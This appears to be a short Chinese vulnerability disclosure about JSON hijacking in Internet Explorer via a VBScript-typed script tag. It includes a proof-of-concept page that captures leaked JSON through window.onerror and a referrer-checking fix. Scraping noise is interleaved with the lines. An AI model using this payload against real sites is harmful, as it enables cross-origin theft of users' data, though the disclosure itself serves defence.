IE通用JSON劫持漏洞

admin

简要描述：

由于某些资源容器对数据处理不当导致json劫持漏洞.
) ]& A: U/ ]4 @; }# L( z详细说明：
# o1 a5 a& ]  L  H& x  s由于ie支持vbscript,所以script元素可以指定成vbscript语言:
+ j3 o+ R- B6 h5 H  m" x3 S' j2 H( a<script language=vbscript></script>
' t  E& m# {7 W( W
4 N' R5 g$ q% g+ j# s7 J8 U当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
# ~4 J, H/ L' s! b' T3 Y% Z  r: O漏洞证明：
<script>
window.onerror=function(_){
alert(_)
}
</script>
<script language=vbscript src=1.json></script>


1.json:
[{"name":"sogili","age":19}]
7 ~$ _6 g& E1 J1 C修复方案：
6 }/ I! @7 F: X9 V( [) I) E2 u网站业务对于这个问题可以通过验证referrer是否为同源来防御